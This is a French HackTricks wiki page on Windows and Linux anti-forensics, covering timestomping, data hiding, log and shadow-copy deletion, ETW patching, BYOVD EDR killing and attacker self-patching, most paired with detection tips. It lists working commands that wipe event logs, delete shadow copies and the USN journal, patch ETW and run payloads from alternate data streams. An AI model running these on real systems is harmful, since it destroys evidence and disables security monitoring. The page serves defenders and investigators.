Techniques Anti-Forensiques
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Horodatages
Un attaquant peut ĂȘtre intĂ©ressĂ© par le changement des horodatages des fichiers pour Ă©viter d'ĂȘtre dĂ©tectĂ©.
Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs $STANDARD_INFORMATION
__ et __ $FILE_NAME
.
Les deux attributs ont 4 horodatages : Modification, accÚs, création, et modification du registre MFT (MACE ou MACB).
L'explorateur Windows et d'autres outils affichent les informations de $STANDARD_INFORMATION
.
TimeStomp - Outil Anti-forensique
Cet outil modifie les informations d'horodatage à l'intérieur de $STANDARD_INFORMATION
mais pas les informations à l'intérieur de $FILE_NAME
. Par conséquent, il est possible d'identifier une activité suspecte.
Usnjrnl
Le Journal USN (Journal de Numéro de Séquence de Mise à Jour) est une fonctionnalité du NTFS (systÚme de fichiers Windows NT) qui suit les changements de volume. L'outil UsnJrnl2Csv permet d'examiner ces changements.
L'image prĂ©cĂ©dente est la sortie affichĂ©e par l'outil oĂč l'on peut observer que certains changements ont Ă©tĂ© effectuĂ©s sur le fichier.
$LogFile
Tous les changements de métadonnées d'un systÚme de fichiers sont enregistrés dans un processus connu sous le nom de journalisation anticipée. Les métadonnées enregistrées sont conservées dans un fichier nommé **$LogFile**
, situĂ© dans le rĂ©pertoire racine d'un systĂšme de fichiers NTFS. Des outils comme LogFileParser peuvent ĂȘtre utilisĂ©s pour analyser ce fichier et identifier les changements.
Encore une fois, dans la sortie de l'outil, il est possible de voir que certains changements ont été effectués.
En utilisant le mĂȘme outil, il est possible d'identifier Ă quel moment les horodatages ont Ă©tĂ© modifiĂ©s :
- CTIME : Heure de création du fichier
- ATIME : Heure de modification du fichier
- MTIME : Modification du registre MFT du fichier
- RTIME : Heure d'accĂšs du fichier
Comparaison de $STANDARD_INFORMATION
et $FILE_NAME
Une autre façon d'identifier des fichiers modifiés suspects serait de comparer le temps sur les deux attributs à la recherche de disparités.
Nanosecondes
Les horodatages NTFS ont une précision de 100 nanosecondes. Ainsi, trouver des fichiers avec des horodatages comme 2010-10-10 10:10:00.000:0000 est trÚs suspect.
SetMace - Outil Anti-forensique
Cet outil peut modifier les deux attributs $STARNDAR_INFORMATION
et $FILE_NAME
. Cependant, depuis Windows Vista, il est nécessaire qu'un OS en direct modifie ces informations.
Masquage de Données
NFTS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe et utilise un cluster et demi, la moitié restante ne sera jamais utilisée jusqu'à ce que le fichier soit supprimé. Il est donc possible de cacher des données dans cet espace de remplissage.
Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse du $logfile
et du $usnjrnl
peut montrer que certaines données ont été ajoutées :
Il est alors possible de rĂ©cupĂ©rer l'espace de remplissage en utilisant des outils comme FTK Imager. Notez que ce type d'outil peut sauvegarder le contenu obfusquĂ© ou mĂȘme chiffrĂ©.
UsbKill
C'est un outil qui éteindra l'ordinateur si un changement dans les ports USB est détecté.
Une façon de le découvrir serait d'inspecter les processus en cours et de réviser chaque script python en cours d'exécution.
Distributions Linux Live
Ces distributions sont exécutées dans la mémoire RAM. La seule façon de les détecter est si le systÚme de fichiers NTFS est monté avec des permissions d'écriture. S'il est monté uniquement avec des permissions de lecture, il ne sera pas possible de détecter l'intrusion.
Suppression Sécurisée
https://github.com/Claudio-C/awesome-data-sanitization
Configuration de Windows
Il est possible de dĂ©sactiver plusieurs mĂ©thodes de journalisation de Windows pour rendre l'enquĂȘte d'analyse forensique beaucoup plus difficile.
Désactiver les Horodatages - UserAssist
C'est une clé de registre qui maintient les dates et heures auxquelles chaque exécutable a été exécuté par l'utilisateur.
Désactiver UserAssist nécessite deux étapes :
- Définir deux clés de registre,
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
etHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled
, toutes deux Ă zĂ©ro pour signaler que nous voulons dĂ©sactiver UserAssist. - Effacer vos sous-arbres de registre qui ressemblent Ă
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>
.
Désactiver les Horodatages - Prefetch
Cela enregistrera des informations sur les applications exĂ©cutĂ©es dans le but d'amĂ©liorer les performances du systĂšme Windows. Cependant, cela peut Ă©galement ĂȘtre utile pour les pratiques d'analyse forensique.
- Exécutez
regedit
- Sélectionnez le chemin de fichier
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters
- Cliquez avec le bouton droit sur
EnablePrefetcher
etEnableSuperfetch
- Sélectionnez Modifier sur chacun d'eux pour changer la valeur de 1 (ou 3) à 0
- Redémarrez
Désactiver les Horodatages - DerniÚre Heure d'AccÚs
Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur Windows NT, le systÚme prend le temps de mettre à jour un champ d'horodatage sur chaque dossier répertorié, appelé l'heure de dernier accÚs. Sur un volume NTFS trÚs utilisé, cela peut affecter les performances.
- Ouvrez l'Ăditeur de Registre (Regedit.exe).
- Parcourez
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
. - Recherchez
NtfsDisableLastAccessUpdate
. S'il n'existe pas, ajoutez ce DWORD et dĂ©finissez sa valeur Ă 1, ce qui dĂ©sactivera le processus. - Fermez l'Ăditeur de Registre et redĂ©marrez le serveur.
Supprimer l'Historique USB
Toutes les Entrées de Périphériques USB sont stockées dans le Registre Windows sous la clé de registre USBSTOR qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
. En supprimant cela, vous supprimerez l'historique USB.
Vous pouvez également utiliser l'outil USBDeview pour vous assurer que vous les avez supprimés (et pour les supprimer).
Un autre fichier qui sauvegarde des informations sur les USB est le fichier setupapi.dev.log
à l'intérieur de C:\Windows\INF
. Cela devrait Ă©galement ĂȘtre supprimĂ©.
Désactiver les Copies de Sécurité
Lister les copies de sécurité avec vssadmin list shadowstorage
Les supprimer en exécutant vssadmin delete shadow
Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html
Pour désactiver les copies de sécurité étapes à partir d'ici:
- Ouvrez le programme Services en tapant "services" dans la zone de recherche aprÚs avoir cliqué sur le bouton de démarrage Windows.
- Dans la liste, trouvez "Volume Shadow Copy", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit.
- Choisissez Désactivé dans le menu déroulant "Type de démarrage", puis confirmez le changement en cliquant sur Appliquer et OK.
Il est Ă©galement possible de modifier la configuration des fichiers qui vont ĂȘtre copiĂ©s dans la copie de sĂ©curitĂ© dans le registre HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot
Ăcraser les fichiers supprimĂ©s
- Vous pouvez utiliser un outil Windows :
cipher /w:C
Cela indiquera à cipher de supprimer toutes les données de l'espace disque inutilisé disponible à l'intérieur du lecteur C. - Vous pouvez également utiliser des outils comme Eraser
Supprimer les journaux d'événements Windows
- Windows + R --> eventvwr.msc --> Développez "Journaux Windows" --> Cliquez avec le bouton droit sur chaque catégorie et sélectionnez "Effacer le journal"
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
Désactiver les journaux d'événements Windows
reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f
- Dans la section des services, désactivez le service "Journal des événements Windows"
WEvtUtil.exec clear-log
ouWEvtUtil.exe cl
Désactiver $UsnJrnl
fsutil usn deletejournal /d c:
Journalisation Avancée & Manipulation de Trace (2023-2025)
Journalisation des ScriptBlocks/Modules PowerShell
Les versions récentes de Windows 10/11 et Windows Server conservent des artéfacts forensiques PowerShell riches sous
Microsoft-Windows-PowerShell/Operational
(événements 4104/4105/4106).
Les attaquants peuvent les désactiver ou les effacer à la volée :
# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent # requires admin & Win11 23H2+
Les défenseurs devraient surveiller les modifications apportées à ces clés de registre et la suppression en grande quantité des événements PowerShell.
Patch ETW (Event Tracing for Windows)
Les produits de sécurité des points de terminaison s'appuient fortement sur ETW. Une méthode d'évasion populaire en 2024 consiste à patcher ntdll!EtwEventWrite
/EtwEventWriteFull
en mémoire afin que chaque appel ETW renvoie STATUS_SUCCESS
sans émettre l'événement :
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);
Public PoCs (e.g. EtwTiSwallow
) implĂ©mentent la mĂȘme primitive en PowerShell ou C++.
Parce que le patch est local au processus, les EDRs fonctionnant dans d'autres processus peuvent le manquer.
Détection : comparer ntdll
en mémoire vs. sur disque, ou intercepter avant le mode utilisateur.
Renaissance des Flux de Données Alternatifs (ADS)
Des campagnes de malware en 2023 (e.g. FIN12 loaders) ont été observées mettant en scÚne des binaires de deuxiÚme étape à l'intérieur des ADS pour rester hors de vue des scanners traditionnels :
rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"
ĂnumĂ©rez les flux avec dir /R
, Get-Item -Stream *
, ou Sysinternals streams64.exe
. Copier le fichier hĂŽte vers FAT/exFAT ou via SMB supprimera le flux cachĂ© et peut ĂȘtre utilisĂ© par les enquĂȘteurs pour rĂ©cupĂ©rer la charge utile.
BYOVD & âAuKillâ (2023)
Bring-Your-Own-Vulnerable-Driver est désormais couramment utilisé pour anti-forensics dans les intrusions par ransomware. L'outil open-source AuKill charge un pilote signé mais vulnérable (procexp152.sys
) pour suspendre ou terminer les capteurs EDR et forensiques avant le chiffrement et la destruction des journaux :
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
Le pilote est ensuite supprimé, laissant des artefacts minimes.
Atténuations : activer la liste de blocage des pilotes vulnérables de Microsoft (HVCI/SAC) et alerter sur la création de services du noyau à partir de chemins modifiables par l'utilisateur.
Anti-Forensique Linux : Auto-correction et Cloud C2 (2023â2025)
Auto-correction des services compromis pour réduire la détection (Linux)
Les adversaires "s'auto-corrigent" de plus en plus un service juste aprÚs l'avoir exploité pour à la fois prévenir la ré-exploitation et supprimer les détections basées sur des vulnérabilités. L'idée est de remplacer les composants vulnérables par les derniers binaires/JARs légitimes en amont, de sorte que les scanners rapportent l'hÎte comme corrigé tout en maintenant la persistance et le C2.
Exemple : Apache ActiveMQ OpenWire RCE (CVEâ2023â46604)
- AprÚs l'exploitation, les attaquants ont récupéré des JARs légitimes depuis Maven Central (repo1.maven.org), ont supprimé les JARs vulnérables dans l'installation d'ActiveMQ et ont redémarré le courtier.
- Cela a fermé le RCE initial tout en maintenant d'autres points d'ancrage (cron, modifications de configuration SSH, implants C2 séparés).
Exemple opérationnel (illustratif)
# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib
# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
# Apply changes without removing persistence
systemctl restart activemq || service activemq restart
Forensic/hunting tips
- Examine les répertoires de services pour des remplacements de binaire/JAR non planifiés :
- Debian/Ubuntu :
dpkg -V activemq
et comparez les hachages/chemins de fichiers avec les miroirs de dépÎt. - RHEL/CentOS :
rpm -Va 'activemq*'
- Recherchez les versions JAR présentes sur le disque qui ne sont pas détenues par le gestionnaire de paquets, ou des liens symboliques mis à jour hors bande.
- Chronologie :
find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort
pour corrĂ©ler ctime/mtime avec la fenĂȘtre de compromission. - Historique de shell/tĂ©lĂ©metrie de processus : preuves de
curl
/wget
versrepo1.maven.org
ou d'autres CDN d'artefacts immédiatement aprÚs l'exploitation initiale. - Gestion des changements : validez qui a appliqué le "patch" et pourquoi, pas seulement qu'une version corrigée est présente.
Cloudâservice C2 avec des jetons porteurs et des stagers anti-analyse
Le savoir-faire observé combinait plusieurs chemins C2 à long terme et un emballage anti-analyse :
- Chargeurs ELF PyInstaller protégés par mot de passe pour entraver le sandboxing et l'analyse statique (par exemple, PYZ chiffré, extraction temporaire sous
/_MEI*
). - Indicateurs : hits
strings
tels quePyInstaller
,pyi-archive
,PYZ-00.pyz
,MEIPASS
. - Artefacts d'exécution : extraction vers
/tmp/_MEI*
ou chemins personnalisés--runtime-tmpdir
. - C2 soutenu par Dropbox utilisant des jetons OAuth Bearer codés en dur
- Marqueurs réseau :
api.dropboxapi.com
/content.dropboxapi.com
avecAuthorization: Bearer <token>
. - Chasser dans les proxy/NetFlow/Zeek/Suricata pour des HTTPS sortants vers des domaines Dropbox Ă partir de charges de travail serveur qui ne synchronisent normalement pas de fichiers.
- C2 parallĂšle/de secours via tunneling (par exemple, Cloudflare Tunnel
cloudflared
), gardant le contrÎle si un canal est bloqué. - IOCs d'hÎte : processus/unité
cloudflared
, configuration Ă~/.cloudflared/*.json
, sortant 443 vers les bords de Cloudflare.
Persistance et "rollback de durcissement" pour maintenir l'accĂšs (exemples Linux)
Les attaquants associent fréquemment auto-correction avec des chemins d'accÚs durables :
- Cron/Anacron : modifications du stub
0anacron
dans chaque répertoire/etc/cron.*/
pour une exécution périodique. - Chasser :
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
- Rétrogradation de durcissement de la configuration SSH : activation des connexions root et modification des shells par défaut pour les comptes à faible privilÚge.
- Chasser l'activation de la connexion root :
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# valeurs de drapeau comme "yes" ou paramĂštres trop permissifs
- Chasser les shells interactifs suspects sur les comptes systĂšme (par exemple,
games
) :
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
- Artefacts de balise aléatoires et de noms courts (8 caractÚres alphabétiques) déposés sur le disque qui contactent également le C2 cloud :
- Chasser :
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
Les défenseurs devraient corréler ces artefacts avec l'exposition externe et les événements de patch de service pour découvrir l'auto-rémédiation anti-forensique utilisée pour cacher l'exploitation initiale.
References
-
Sophos X-Ops â âAuKill: A Weaponized Vulnerable Driver for Disabling EDRâ (Mars 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-
Red Canary â âPatching EtwEventWrite for Stealth: Detection & Huntingâ (Juin 2024) https://redcanary.com/blog/etw-patching-detection
-
Red Canary â Patching for persistence: How DripDropper Linux malware moves through the cloud
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.